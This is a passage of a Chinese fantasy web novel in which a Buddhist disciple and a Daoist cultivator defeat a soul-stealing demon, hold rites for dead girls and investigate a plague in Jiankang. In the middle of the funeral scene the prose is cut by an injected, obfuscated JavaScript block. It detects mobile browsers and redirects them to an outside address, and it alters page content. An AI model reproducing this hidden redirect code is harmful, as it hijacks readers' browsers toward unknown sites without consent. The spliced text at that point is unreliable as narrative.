也罢也罢,总归三清爷爷在天上看着,凡人命数如何,又岂是他这等小道能掺和的。便又斟了半壶酒进杯里,一仰头尽入喉中,不过半息又大梦周公了。 一旁掌柜正端茶倒水,便听得那老头趴在桌上鼾声大作,心下颇觉尴尬。所幸刚进门的这位瞧着是个好相与的,一身儒雅书卷气,样貌也端方中正。 不觉更添几分热忱,同他攀谈起来。 原来他上月父母故去,幸得高人赏识,欲往建康去。便说了些喜气话,什么来日高官贵禄,娶得心仪姑娘之类的。 却未看见那人含笑听见这话,眼中闪过一丝悲戚。 4. 风乍起 天色沉了,此地杳无人烟,唯有月色粼粼。观南拨开杂草丛往前去。 因着她悄无声息地将这群人带走,也并无村民阻拦她。救人一行真是出奇的顺利。渝河恍似只静静淌着,而无半点出奇。再仔仔细细从上往下寻了一遍,也看不着什么妖气。如今她正要往临漳县去。 闭眼去寻谢婌的气息,发觉她气息颇稳不似有碍,一颗心也终于落下来。 观南便不用术法,踩着堪堪干住的小路往一处雾气氤氲的湖泊去。这雨来得快去得也快,湖泊涨了水,将娇嫩花骨朵都半淹进去。 观南踞腿垂首,静静凝视片刻湖面,忽得伸手出去,十指尽数没进水里。 盛夏的天,这湖却径自生出股凉意。忽得一阵涟漪泛起,一股冰凉从她指尖擦过,紧接着四周亦响起窸窣声。 观南抬手看去,一条小臂粗的青蛇已绕上她腕子,嘶嘶吐着芯蹭过来。身后不知何时也蹿出无数条细长黑蛇,却只立在她身后几尺不敢妄动。 青蛇身上细鳞璀璨,函幽育明。见她不做推拒,便亲昵地从垂落青丝间穿过贴上她脸颊,蛇尾轻晃,芯子轻嘶作响。 观南垂眼,将手上水珠蒸干,“你从河边便跟了我一路,倒是不怕我杀了你。” 所谓大妖,便是修千年而化人形。这蛇尚且是懵懂未开智的模样,显然只有几百岁。难不成是觉得她也是条蛇,便把她当成同族了? 却听得那青蛇嘶嘶几声,便微微抬眉。原来青蛇乃是此地龙王守官,欲引她往龙王殿去。此刻舔舔她指尖,从背上跃进黑蛇堆里,黑蛇便作波纹状散开。 观南提剑跟上去。只见青蛇在前引路,一旁黑蛇似护法般立在两边,一路拨叶穿雾,到了莲池正心,一朵莲花婷婷其中,三片遮天莲叶攘盖其上。 凑近了看,才看出不寻常门道来:这莲花并非莲花,荷叶也非荷叶,竟俱是取天然璞玉琢磨而成。做工之精巧举世罕见,不似凡间俗料,更似天上仙物。 那青蛇一口咬上花杆,便见四周云海翻涌,三排水浪拍来,观南径自迎上去,剑尖一道白隙乍现,雾海隐隐褪去,其中全貌方得显现。 只见前方琼楼玉宇,若蜃景浮空,缥缈而不可捉摸。近之所见,朱门玉阙拔地倚天,宫墙延绵嵯峨,砖石莹润如羊脂,饰以金纹凤羽。正中殿上镶一颗大如鹅卵的夜明珠,光芒幽邃,左右依大小各呈九列,八十一颗辉交映,恍似天上白玉京。 青蛇爬向前去,观南紧随其后,执剑入其宫门。只见前庭广阔,一眼望去皆是墨玉地砖,其上幽纹暗布,光可鉴人。鼎炉共二,各置左右,其上铸以祥龙瑞兽,张牙舞爪,栩栩如生。 鼎中燃香,香烟袅袅,氤氲不散,仿若仙境。昔日司马相如曾著上林赋,极言上林仙境豪奢,如今看来也不过如此了。 可若往内一看,却不免骇然。墨玉砖上深布刻痕,交织成一道诡谲阵法。观南凑近一瞧,不禁微蹙眉:这阵法诡异至极,竟是以人血绘就。其上五行倒置,八卦太极混沌难言,且还有几道邪气久久萦绕不去。 阖眼掐指,终于从这几缕混沌气息中寻出一丝妖气。观南倏然睁眼,心中暗道不好:此妖竟是敢逆天道之大不讳,取活人神魄为引,欲转死为生! 如今她不在谢婌身侧,它必是朝着谢婌去了!忙回身往宫外去,那青蛇也聪颖,附在她臂上同她一并脱出。 观南发了急,也顾不得脚下景色,一路风声呼啸,急急往临漳谢婌所在处去。寻着气息到了一处庙前,忙闯进去,却见谢婌愕然回首,手中还捻着三支香。 见她行色颇急,谢婌不免掷了手里的香忙迎上来:“仙师,你来寻我了?”见观南盯着那香不语,便道:“我得知建康发了疫病,想着为父母宗亲祈盼一二,也得以心中快慰…… 仙师,你是遇着那妖怪了么?事可毕了?” 观南急匆匆闯进来,现下方才发觉屋子里香气颇浓,又瞥见谢婌往桌上搁了几张黄符,还不知从何处搬来一尊菩萨像。便先行了弟子礼,末了才问她:“可看见了什么人?” 谢婌摇头。“未曾,我刚才一直在此殿中祷告,又同诸位寺庙中人讨教一番,从未见过有什么别的奇怪之人。” 观南盯她片刻,便上前些道:“我同你一并吧。”谢婌面上浮出些喜色,正扭头要向观音像揖首,忽觉一阵风刮过,慌忙回首,便见观南手中斩仙剑径直刺她面心而来! 谢婌尖啸一声,终究是现了本相出来。 原来方才观南趁她回身看向她后颈,并无她当初留下的印记,便知晓眼前的谢婌是那妖邪假扮的。 此刻眼前人连同身上衣裳化作一道黑雾,从一旁木柜中将浑身被捆住的谢婌掳出,似是想要跃窗逃离。观南手中斩仙剑半挽出花,径自刺向它。它仓惶欲躲,却仍被剑气斩去一臂,凄厉惨叫一声。 那墨色妖风看见她手中斩仙剑,脸色骤然一变:“我同你无冤无仇,为何频频坏我好事!” 却忽得变幻起模样,将她困在妖雾正中,观南蹙眉,正要抬剑蓄出几道剑气,却忽得听它不知看见了什么,骇然猛吸一口气,连连退去几步,身边黑雾也消散而去。 它忽得桀桀冷笑起来:“我当是谁,原来你自己也修这等术法,竟也自诩正道要来祓除我么? 况且此事也并非我一人所为,那建康城里的大官,哪个不是表面光鲜,背地里阴私无限!你不过同他们一般是道貌岸然的货色罢了!” 大抵是自知奈何不了她,便撕碎谢婌身上束缚,勾着她衣襟摔了过来。观南提剑欲追,却被惊惧无比的谢婌牢牢抱住,埋进她胸前哭喊起来。 妖风无人作拦,便径自刮向窗檐,一路上叮当作响,将梳妆台上的琉璃灯盏也打翻下去。 观南心下骤然一紧,然而谢婌紧紧搂着她抖得厉害,她双臂都被锁住,只能眼睁睁看着那支灯盏被打翻。 正要腾出一只手去接,千钧一发之际,窗口突然穿来一阵风,一只手凭空而来,执素色玉扇卡住镂空灯盏在空中作了个旋,后被稳稳接住,复放上梳妆台。 观南看向他。那人收手,手中折扇被水合道服长袖掩住,另一只手紧紧拽住捆仙绳,那墨色妖风不知何时已被牢牢锁入绳中,一时间叫声凄厉。 似是察觉她一瞬不错地盯着他,那人于是抬眼,在明明灭灭的灯影里似笑非笑地看来。 便是此时此刻,她眉间一点红痣忽然发烫起来。皮下血肉突突一跳,灼热猛烈,如同谁骤然点了滴铁水进去。 观南不自微微蹙眉,同那人对视。 烛火噼啪作响几声。他身后一男子探出头来,几步靠近,见此状惊慌道:“婌儿!” 谢婌满脸是泪,早已哭得上气不接下气。见了血浓于水的兄长一时悲喜交加,正欲开口哭诉,不料下一刻却直接两眼一翻昏了过去。 原是方才被掳本就吓得魂飞魄散,不过是撑着一口气罢了。 观南眼疾手快搂住她的腰,顺手将她裙摆也提起来。谢衍到底年长妹妹五岁,稳了稳心神拱手便道:“我乃当朝尚书令之子谢衍,不知仙长是?” 观南道:“唤我观南便可。”便将怀中谢婌交于他,转头看向另一人。 见他仍似是笑着,目不转睛地看着她,便径直走过去。 . 竹影轻晃。雨后的林中总是比往日潮上许多,有黄雀衔枝跃上窗棂,守玉伸手拂过庭中枯黄的芭蕉叶,侧脸眤一眼屋内二人。 谢婌方才苏醒,正伏在兄长肩上抽泣,谢衍低声去哄她,从怀中掏出只孔雀尾羽别到妹妹耳畔,谢婌脸上还挂着泪,却终究是破涕为笑了。 忽听得有人喊他名字,他回首,见观南一步步走来。方才两人互见过礼,他一看她派头,便晓得此人乃是西方佛家弟子,而她看见捆仙绳,大抵亦已知晓他的身份。 如今他也算得是与谢衍一道的,便含笑迎过去:“观南姑娘,你可问出什么了?” 观南颔首。方才她拷问这妖雾,才知晓一切荒诞之源头。“此物乃是千年大妖,先前同一凡人女子有了情谊,自她离世后便走火入魔,欲逆天而行邪术,需炼化十具年纪相仿的凡人女子魂魄来召妻子回魂。 谢婌乃是阴年阴月阴日生的极阴之体,因此缠上了她。渝河龙王亦是被他所害。具他所言,这邪术乃是一老道士所赠,此人此后便不知去向。” 又同守玉说起先前村中见闻。只道是此朝买卖奴隶之风盛行,且曾在村中遇见的李二,虽言行诡谲,斩仙剑却毫无反应,可见并非妖物。 因而这样说来,如今谢婌已安定下来,所谓河神也是弄虚作假的鬼怪,二者已了,此事却仍是疑云丛生。 那老道同先前教唆村中人的是同一人么?谢婌又是缘何离家,又为何到了临漳县中一小村?先前她二人在村中遇到的那李二却又是谁。 还有那先前几名女子的尸首,却又去往何地了?诸多困扰似杂线般缠在心头,似是琐碎无序,却又各相关联。 欲寻根问一个底,却又扑朔迷离,不知去向。 守玉瞧了捆仙绳中黑雾一眼,只见它已然偃旗息鼓,不复方才嚣张,也不知她用了什么法子。 便道:“此事尚有古怪。谢府千金本是名门闺秀,若非事出突然,怎会独自离家。不论如何,总要先问一问。” 只是谢婌尚且赖在兄长身边不肯离开,还需待她兄妹二人叙完家常,才轮得到他二人。 守玉忽道:“此物先前被娘子你斩去一臂,生死去留,还是娘子来定吧。” 观南这才想起仍在捆仙绳中奄奄一息的邪物,不由自主往袖间白玉镯看去。她方才同它交谈,见它复活妻子不成,似已心存死志,一时也举棋不定起来。 此物为非作歹,鱼肉百姓,自然留它不得。只是它行邪术是以自己躯壳为引,如今只有这一股不人不鬼的妖魄残存,还被她砍得七魄已去其四。这般看来,只需一剑便可使其魂飞魄散。 对邪魔妖道,自然是留不得什么慈悲之心的。她如此心下有了成断,向守玉问道:“我欲将其诛灭,公子可要拦我?” 反倒将守玉问得一愣,见她神色平淡,便道:“我听娘子的。”只是佛 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他只想着当今天子孱弱,乃是倚仗外戚才堪堪持政。谢婌苦笑摇头。“兄长,你是只沉溺于白日纵酒,青崖放歌。殊不知今日他司马氏胆敢轻薄我,何尝不是王家已对我谢氏一族生出杀心? 倘若我从了,便抬进宫里作个妃子。我若不从,他王家自有千百种方法来堵你的路!” 这其中关系,她竟是今日才明白。当日被太后唤入宫中,本是在徽音殿玩耍,怎么就遇见了往日足不出户的人? 他一幅病恹恹的样子,眼下乌青愈发深了,瞧见她后脸上闪过些痛苦神色,便做出要将她强夺入宫的模样。她一时骇然,往他脸上用力甩了一耳光。 便见他捂住通红一片的脸呆立在原地,虽是冷笑起来,眼泪珠子却如断线一般落下。 谢衍亦是想起先前面圣时,当今天子身着十二冕旒,貌若好女久病缠身的模样。听到妹妹所说,一时也默然。 他自小便有气虚亏血之象,因而宫内总是烘着地笼,还养了一帮神神叨叨的老道,整日钻研岐黄之术。后宫自继位起便空空荡荡,想来也是,有谁愿将自家女儿送去深宫中,侍奉这样一个病秧子呢。 倘若要娶,也是合该满朝文武商议一番。这等差事怎地就落到了妹妹头上呢? 一时心中愤慨,却不敢向妹妹发火。只瞧见妹妹似是垂首又深陷回忆的模样,连忙将人柔声细气安慰一番,见窗外两人似是空闲,便起身去唤他二人进来。 观南方才入了门中,便看见谢婌理好了衣裳坐在榻上,鬓角还插着支孔雀羽。瞧她神色好上了不少,便问她各中详细,谢淑抹了眼泪,方才娓娓道来。 她那日在宫中受了惊,归家后却不敢同父母提及。倘使天子要她入宫榻罗帏,做臣子的安敢不从? 父母是怎么也舍不得她,可谢家宗亲无数,旁支若干亦有在朝为官者。若是献一女而保圣眷,怎么看也是不赔的买卖。 兴许还有人觉着她矫情,再怎么说她也同他有昔日孩提情谊,兴许进了宫便荣宠不断呢? 谢婌却不愿如此。与其赌他还挂念着往日情谊与她相敬如宾,还不若她一头撞死在殿上来得痛快。 宫阙深深,安知今日枝头牡丹,不得他日作泥土? 满墙落花败柳,也不缺她一支。 天子宽限她的日子颇近,眼见着就要将圣旨不管不顾颁下来。便打定主意欲背着父母亲假死脱身,将贴身婢子莲香换上她的衣裳谎称生病不肯见人,自己则穿了身不起眼的衣裳从后院翻墙走了。 她主意打得倒好,一路上也安排了人马掩护,翻墙时都有奴才争相跪着让她垫脚。总归奴才命贱,只需一锭银子便能指派一群人为她鞍前马后。 如此这般一路通畅无阻地到了码头,寻得莲香昔日旧居便住下了。 却不曾想离了建康城,竟是饿殍满地,人争食人。 村中人竟趁她熟睡将她捆住,同其余几名女子关在院中,她挣脱不得,终于知晓此地饥荒闹得厉害,百姓求雨无果,只得听从教唆,以十名豆蔻少女活人为祭。 如今一想来,被困在院中的时日真是求生不得求死不行。往日拥金簇银的日子过惯了,只知道建康城天下繁华盛景,锦绣成堆,哪里晓得凶年饥岁,普天之下九成百姓是水深火热,民不聊生! 待她话毕,便早已泣不成声。谢衍听着,亦是心中后怕不止,结结实实将妹妹叱责一番。 观南一言不发地听完,待谢淑拭了泪,方道:“此事绝非偶然,或有他人背后推波助澜,只是你我不知。” 如今之计,唯有随谢淑一道去往建康,方作后续打算。 忽听得守玉道:“姑娘可知,你那婢女莲香,如今已命丧黄泉。”观南一愣,瞧见谢婌脸上是全然的迷茫,而谢衍则虚虚低头去,似有恼意一闪而过。 回首便见守玉上前来,将手中之物递过去,“还须得劳烦姑娘,同我一并作法事。” 掌心之上,赫然是一张泛黄的奴籍。 5. 花难折 建康城。 许是天公不忍,连降了接连几日的大雨。此刻终于云过雨停,日头稍稍冒了出来,便有人家将谷物哂进院里。 兰台路上诸多门铺俱已敞开了窗,将琳琅物件正对行人。一女郎怀中抱瑟自西走来,沿途扫过许多店铺,终在一家门口停下来,将铺上金银头面细细打量。 那店家笑容满面地迎过来。见她身上穿着光华鲜艳,是眼下最为时兴的款,便愈发殷切道:“姑娘,瞧你是从西街来的,难不成是宝香楼的乐女么?” 这女郎不语,只斜斜扫他一眼,唇角噙着的笑意却更浓了些。 店家见她如此,更加笑容满面,也大胆几分:“姑娘美若天仙,想必是宝香楼近来名声大振的头牌,果真慧眼识珠!” 便同她滔滔不绝讲起自己这一副金包银边镶翡翠头面。道是取了昆仑神山之玉不经琢磨而得,又以西海蛟丝贯珍珠作镶花,真真是亭亭艳煞牡丹,洛神鬓边斜叠。 又将她好好吹嘘一番,饶是过路人听了也不免侧目。 女郎以帕掩唇,轻笑起来,“只听闻严老板此处货物成色好价也值,倒是未曾想到你口才也是建康数一流的,竟将我夸得这样天上有地下无。” 便自腰间取出一块沉甸甸金子来,放在他眼前桌上。见老汉看得眼都发直的模样,一时眼波流转,眸间春色荡漾,轻笑一声便裹挟一阵香风飘飘然去了。 严老汉收了金子,爱不释手地捧进怀里,正要转身咬上一口,便见身前又来了人。 眼前这女子身形高挑,身上衣裳也寡淡素静,一张脸漂亮得紧,就是太瘦了些,瞧着也略惨白瘆人得慌。莫不是她家里人不给她肉吃? 正如此想着,便听得她道:“东家,你这可有做法事所需之物?” 这女子正是观南。一行人到了建康后,本欲寻个好日子为先前殒命那几位女子一并做了法事,却不曾想接连几日都是雨,只得趁着今日天晴办了。 严老汉忙将金子收起来,一听要做法事,便了然:“又是染了疫病走的么?那是得好好做一做。” 便埋首去寻桃花剑与八卦镜,方一抬头便见眼前女子正扭头盯住远处,寻着她目光望去,便看见方才那乐女娉婷背影。 想到那乐女出手阔绰的模样,一时嘴快了些,便道:“姑娘莫再看了。那宝香楼的乐女虽说是伺候人的,可怎么也比你我这般贱民活得轻快。” 若不是他家中没有女儿,也是愿她做这一差事的,总比整日饿得面黄肌瘦好。 又扫见眼前女子瘦削的模样,便更对她同情几分。 观南尚不知晓自己成了他人眼里挨饿的可怜人,转头过来,目光似有探寻:“她原是宝香楼的乐女么,宝香楼又是何地?” 严老汉扫她一眼,“你是别处来的吧。如今的建康,谁人不知宝香楼的大名?” 见她还是茫然,恰好此时得空,便同她道来:“宝香楼乃是当今天下第一乐坊,里头乐师有男有女,听闻价高者一曲能得十万银。那场面,真是金银似雪飞,珍珠如米洒…… 总归都是些贵人常去的地方,同我们这般人也无甚干系。” 顺手指指西方一栋高楼,远远望去也得见珠光宝气。 观南颔首,心中便将此地记下。见他递东西过来,便伸手自怀中掏出些铜板来。 她身上别无他物,银钱还是当日谢婌归家后硬要塞进她怀里的。又搬了几箱金银珠宝出来,却因得她居无定所茕茕漂泊,只得作罢,予她一枚令牌。 严老汉收了钱,见这女子身后长发松散随意,似是随手一挽,便道:“娘子生得这般好颜色,不若再买些首饰吧?”见她望过来,便端上几盒饰物过来,又是一阵滔滔不绝。 观南起先还仔细听着,后听得他扯什么王母下凡钦点赐福之物,便晓得他只是信口开河。 又往桌上饰物扫过去,各自大小不一,成色也杂乱,瞧不出甚么好看与否。况且她从不往头上戴什么东西,便是买来也无用。 严老汉此刻正口若悬河般说个不停,观南一时不忍打断,便站着听他讲,实则心思已飞到别处。 想到至今未见尸首的几名女子,俱是无名无姓之人,天地间忽而殒命,想必此前也未有过什么享乐。 忽而瞥见桌旁放着的几股红绳,看着倒是鲜艳结实,拿来捆住头发大抵不错。严老汉说完正口干舌燥,便听见她开口:“将这些,连同那只红绳一并包起来罢。” 于是欢天喜地接了铜板过来,转身去寻绢布。正要将包裹递给她,却忽得想起另一桩事。这红绳乃是先前为乞巧节备的,如今还剩下这些卖不出去,便想着做个礼赠了。 这女郎买红绳,难不成是已有心仪之人?正狐疑着,观南已经接了东西过去,几步走开了。 观南这厢已扯住红绳,利落将长发扎住。如今她同那位守玉道士一并暂住谢府,谢洵同其夫人对他二人以厚礼相待,视为座上之宾。 正转身往横街去,忽听得街边两人推着木板车,正掩住口鼻衔首窃窃私语:“如今这疫闹得这样凶,今年的群芳宴还办得下去么……你我还是尽早做打算,莫要为着不值之事折了命进去。”便顿足望去,见那木板车上覆白布,俨然是死了人的模样。 群芳宴,同那宝香楼也有关系么?几日建康所闻所见悉数从她脑中掠过去,观南步下迟疑一瞬,终究是摇了摇头。 回了谢府,几人用了膳食,便欲往东北方蒋山脚下乱葬岗去。谢婌前几日受了凉,不顾父母劝阻爬起来,如今谢府对他人称她在外失踪,需得往脸上套一层面帷。 谢衍午后还需赴一场宴,只得多派了几名侍卫跟着,眼见女儿随着观南几人走了,摇头叹气起来。 谢府马车宽阔,谢婌同兄长坐了一辆,剩下一辆留给观南二人。守玉立于车侧,观南瞥他一眼,便先行避开跪地的奴仆上去了。 守玉待她进了车内,方才遣了车夫过去,自己也提袍坐进去。车内已撤了熏香,观南正擦拭手中银剑,守玉瞧了她片刻,便笑道:“娘子乃是佛门弟子,手中这剑我却瞧着眼熟,不知师从何处?” 观南与他分坐两侧,同他对视,见他还是如初见一般笑着的模样。他二人这几日已熟稔起来,她也大抵猜到了他从何而来,只是不知怎得下了山,又恰巧与她同行。 她此行是为祓邪而来,也并无隐私不可告人,便道:“家师乃是落伽山潮音洞观音大士。” 守玉恍然,“原来是观音大士门下弟子。”如此说来,她拿着斩仙剑必是有世尊命令在身,一时也不欲做多探寻。 礼尚往来,便也报上自家名号:“我师从昆仑玉虚宫,是为元始天尊座下。” 观南此先瞧见捆仙索,已多少预见了,见其容貌尚且年青,便猜想他是惧留孙弟子,却不曾想是其师弟。 如此说来,观音大士也曾拜入昆仑,得号慈航道人,她该唤他一声师伯。正想着此事,守玉已垂首斟茶,将一盏白玉蓝纹杯递过来。 观南接过抿一口茶汤,清爽回甘,想必是上品茶叶。见他已转首去看车外,便未再提。 观南接连劳累了几日,车上略有颠簸,竟是直接睡了过去。路程算不得远,一觉醒来,不至三刻便到了山脚。 乱葬岗名不符实,实则比岗还要大上许多。石碑自山脚起绵延至天边,且此刻仍有诸多人跪着哭号,将白布裹就的尸首埋进土里。便寻了处平坦地方,待设毕瑶坛,扬幡布旗。 守玉径自上前去,袖袍一挥燃起诸灯。再奉安五方神圣,请神降圣,奉请三师相助。口中默念熏香咒,行礼拜表,虚虚画符其上,罡步踏斗,焚表化行,上告天庭,躬谢诸神。 观南立于他身侧,以金玉之声并祝。听他口中念表,也默念起往生咒与地藏经来。忽觉四周涌起狂风,守玉睁眼,见坛中魂幡狂舞,一时间天昏地暗,似有哀声渐起。 谢婌同谢衍立在他二人身后,惶恐不敢妄动,只见一刻后天色又渐渐亮起来,坛中气息渐稳,只余一缕黑烟飘于幡上,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107281|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终是消弭不见了。 守玉已收了袍袖,往兄妹二人望来:“法事已毕,二位可去焚烧纸钱了。” 见谢婌似是魂不守舍般望住天,便摇摇头,揪住观南长袖将她牵到一侧来。 见观南睁眼,便同她道:“娘子,这法事虽说是做完了,然你我二人都清楚,无名无姓无身无所之人了无牵挂,入轮回之是否,只得看她几人造化。 且方才天色剧变,乃是几缕残魂怨煞不愿离去,且这怨气是冲着谢姑娘来的,你我还需将她护好才是。” 观南颔首。余光里,谢婌正踞腿在坛前,带着兄长烧纸钱。不远处还有诸多百姓烧着纸,入目所及不是白布即是坟包,惟有焚出的黑烟持之不懈地涌上天去,将整座建康城笼进昏沉里。 她回想起下山时师尊告诫,一时也茫然起来。 . 宝香楼。 四层楼阁高耸,外砌红砖绿瓦,内有琉璃锈窗。所谓雕梁画栋琼楼玉宇,珠帘映日飞檐衔云,昔有铜雀春色,今有宝香藏娇。其中下二层供往来行人作乐,斗酒欢谑。上两层则令是一幅景象,有侍女端了银盘过来,经查身后方才上了三层。 待至门前,先扣门三下,里面行出位男子,将银盘接过。觑见门内春光一瞬乍泻,浓香四溢,忙退身不敢再看。 这男子接了银盘过来,置于上首之人桌前,同他俯身耳语几句,便行礼退下。间中乐女正垂首弹瑟,身旁四名舞姬俱是容色颇佳。待一曲终了,乐女被唤至他身前来,忽得托住下巴细细端详。 他盯了她片刻,乐女不敢同他对视,只得垂眸去看他衣襟上金蟒滚边。 正悚然待他发落,忽听得他道:“你这头面何处买来的?” 便壮着胆子笑道:“奴从兰台路上严老汉处买的。大人瞧着可还漂亮么?花了奴一锭金子呢。” 这人便笑。指尖从她脖颈划过,又落在头顶珠玉簪子上。下一刻抬手,慢慢替她将簪子扶正。 “你买亏了。这头面好看是好看,却也不值一锭金子。为着这一锭金子,你要再为我唱多少曲。”忽将她放开,唤了方才那人进来,便递给她一赤红箱子。 乐女指尖稍颤,方才扣开金锁,便被里面满当当的金子晃得眼花。 她跪下去同他结结实实地磕头,待磕到第十七个,才听见他教她起来。 乐女额上红了一片,正哆嗦着要告退,便听得他道:“既含睇兮又宜笑,子慕予兮善窈窕……你可晓得德安公主么?她往日还在时,便最喜欢带这种头面。你同她生得不像,只是我方才看见你这头面,却又想起她了。” 德安公主。这四个字如天雷般劈在她背上,一时间惊恐万状,正要再跪,便被几个人一齐扑上来去了头面。 她头发被扯断不少,衣裳也凌乱不堪,却独独不敢掉眼泪,待座上之人大发慈悲般挥了挥手,才惊惶退出去。 终究是有人看不下去,唤他:“林将军。” 座上之人便笑:“谢大人。你不忍心了么?倒是我忘了,贵府千金如今流落异乡不知所踪,大人触景生情也是应当的。” 便令人又换一批小倌进来。诸多十来岁的少年一齐涌进来,皆是唇红齿白貌若好女之流。 谢衍眼见他将其中一个拉进怀里肆意捉弄起来,心中几欲作呕,一时不愿再看。 待酒过三巡,席上菜肉都将将换了一轮,林昭方才说起北线战事。 道是鲜卑已欲降,愿自退百里,只匈奴还冥顽不灵。 便屏退旁人出去,令守着门的侍女下楼取肉。这侍女方才见那乐女魂不守舍地出来,一时心中也怯然,得了令便速速下楼去了。 方至后厨,便看见桌上放着几大盘肉,正端起来往外走,忽听得轱辘滚地一声,许是她身上什么东西落下了。 只得放下肉,跪着往阴影里摸索。忽触及不知是什么物什,圆滚滚一颗捏在手里,掏出来行至烛前一看,却险些吓得魂飞魄散。 这竟是一颗眼珠子。 6. 菩提手 近来建康总是阴晴不定,雨脚如麻,缠绵不断。不少人着了凉,如今谢府内,守玉正悬丝问诊。林氏将小女牵至身前来,待守玉细细诊断一番,听他说无事才稍稍放下心来。 谢婌前些日子受了凉,又因着几日小雨不绝,总是神色恹恹。守玉写了药方递过去,道她需多加衣物,平日里吃些温养之物,稳气定神即可。林氏欢喜接过,连连感激几句,便派小厮带上面篱去横街药房处买药去了。 守玉又替他人查看,府中几十人等,婢女及门房或有腹痛耳鸣者,俱写药方仔细嘱咐一番。观南侯在一旁,被林氏牵着听与她侍女讲话。 林氏见她似乎年纪尚小,又生得白净漂亮,不谙世事的模样,不觉亲近几分,将她年岁祖籍都问了一遍。 观南不欲扯谎,便道自己是山间高人捡回所养,父母生籍俱是不知,如今年方十九。 林氏瞧着她便愈发可怜可爱,正欲问她可许婚配,便见小厮来报,说是马厩小厮玉荷不知所踪,大抵是逃了。 玉荷,便是莲香之弟。两人自小举目无亲,林氏见他二人可怜,便一个派去谢婌身边做侍女,一个派去马厩打下手。 莲香死时十六,玉荷小她三岁,如今也才十三,且建康已不允进出,他能跑到哪里去? 林氏无言片刻,打发小厮烧去他奴籍,又拉住观南的手话起家常来。观南听她讲了会,忽道:“建康已戒严了么?” 林氏道:“这倒不是什么讲不得的事......小娘子,建康近来患疫之人愈发多了,原先还一具具裹着白布往外送,想来你曾见过的。 如今乱葬岗也埋不下了,相国有令,便就地焚烧。若是查出患疫之人,便关到城北街尾去。医署派人去查,却始终查不出病源,反倒被咬了一口。 听旁人说,那医官回家不过半日便口吐白沫死了。陛下近些日子也拒不上朝,似有罢朝之意。娘子还是少出府吧,莫要染了病上身。” 被咬了一口便口吐白沫?这听着不像是疫,反倒是蛊或毒。观南正暗自思忖,那头守玉身前已没了人,便唤她名字。 观南坐于他近前,将长袖挽起,露出一截洁白腕子来。守玉看她一眼,将指尖细丝搭上她腕间,细细感其脉搏。 不过半刻,他指尖忽得一颤。她脉搏平稳,皮下血红脉络如红线般隐进袖中。 守玉却不知为何胸口一阵心跳过速,仿佛等这一刻已等了万千年,个中滋味一时难言。将丝线抽回,便道:“娘子,可否允我近身看看?” 观南道:“可。”他便俯首过来,白玉一般的两指并住,虚虚搭在她腕上。 两人一时无言。庭下玉树,堂前流水,檐上飞燕衔枝去,东风吹落花败叶,惟有堂前空净。六角花窗疏漏,光斜影浅......又似故人重来。 一片冰凉敷上,观南指尖微动,忽得望见他左眼下一颗芝麻大小的红痣,心下对他多出几分好奇。 他生得倒是漂亮,她似是见过的。 只不过,又是何年何月何处见过的呢? 许是千年前的事了。入落伽山后她始才记事,天地渺渺,却怅然不知来处。堂上燕子叽叽叫了几声,观南回神,见他将将收回手。 守玉自知失礼,道一声得罪,便道:“娘子气息略有不稳,许是近来疲累所致,应需劳逸结合才是。” 她应了,却并不怎么放在心上。城北街尾乃是患疫之人所在,还需得看上一眼,方知其由来。 便向林氏告知一番,只言她去街上买几本书来打发时间。林氏虽仍不放心,却晓得她厉害,仔细嘱咐一番也由她去了。 观南回至中庭,见守玉已收了丝线,正要颔首掠过,却听他道:“娘子是要出府么?我同你一并吧。” 她回眸,便见他放了东西,笑吟吟走过来:“娘子出府,可是有什么要事?” 观南无言片刻,道:“也不是甚么要紧事。” 守玉道:“听闻宝香街上有几处售书圣仿帖,我心悦已久,愿与娘子一道。” 观南望一眼四周,见几位婢女都站在檐下回廊处,便悄然凑近他:“好罢。我欲去往城北街尾处,看一看患疫之人如今是何情形。你若是欲往宝香街,你我便不同路。” 守玉未曾想到她一派坦诚,再做试探,反倒显得他多疑。 便也学着她一般压低声音:“娘子欲往城北街尾去,怎地不叫上我?——我同你不是一路的么?” 他所说的一路,同她说的一路是一个意思么?观南同他对视一会,见他还是挂着笑,也不好再做推拒。 且初遇之时她便见过他用捆仙绳的模样,不论他法力几何,身上法宝总归是有用的。倘若真有什么妖鬼作祟,建康城中人多眼杂,也能替她少去许多事端。 两人便一道出了谢府。群芳宴将至,兰台路上人满为患,男女皆有之,拥在铺面前买饰品。 满街熏香四溢,又泼了皂角水在地上,四周人头攒动,俱是言笑晏晏,全然看不出建康尚在疫中。观南望去一眼,只见梁老汉被人团团围住,手中琉璃宝匣已空了大半。 观南寻至一处书肆,照名字念给小厮,取了《乐府诗集》与《九歌》出来包上。那头守玉正在几方墨宝前端详,见她过来,便道:“这几本仿帖各有千秋,我抉择不来。不若娘子替我看看?” 她过去一看,见桌上摆着方方正正几张帖,一眼扫过去,俱是小篆所写的《洛神赋》《琅琊台刻石》《毛公鼎》诸等文章。薄薄几张麻纸放着,她一时也瞧不出好与坏来,便摇头:“我不通文墨,与其让我来,你不如问问东家。” 守玉笑:“娘子倒是直率。”便唤东家问了价格,将几篇帖子一并买了。 方一出书肆,眼前就过来一大群人,皆是相貌艳丽的男女,一举一动可谓粉面含春,柳体生香,手中捧着桃花瓣往四周洒去。其中一瓣落到观南额上,她抬手摘下,闻见这花上仍沾着脂粉味。 守玉同她一并看了半刻,待这群人出了兰台路,才问身旁一位姑娘:“所谓群芳宴究竟是为何物,怎地如此大动干戈?” 待她将群芳宴由来讲了一番,才恍然点头:“原是如此。不过如今疫闹得这样厉害,宫中也不作干预么?” 那姑娘瞥他二人一眼,“娘子与公子俱是外来客吧?群芳宴五年一次,从未停过。饶是前些年建康闹饥荒死了大半人,也是要办的。 且宴中诸位,皆是高官显爵,或是富贾香客,王相国也位列席中。听闻今年鲜卑降伏,欲派使进献异宝奇珍,更是不得不办了。二位若是想一睹宴中风采,便去宝香楼豪掷千金吧。” 观南听她道完,两人往城区步去,见守玉思忖的模样,忽道:“你想去群芳宴么?” 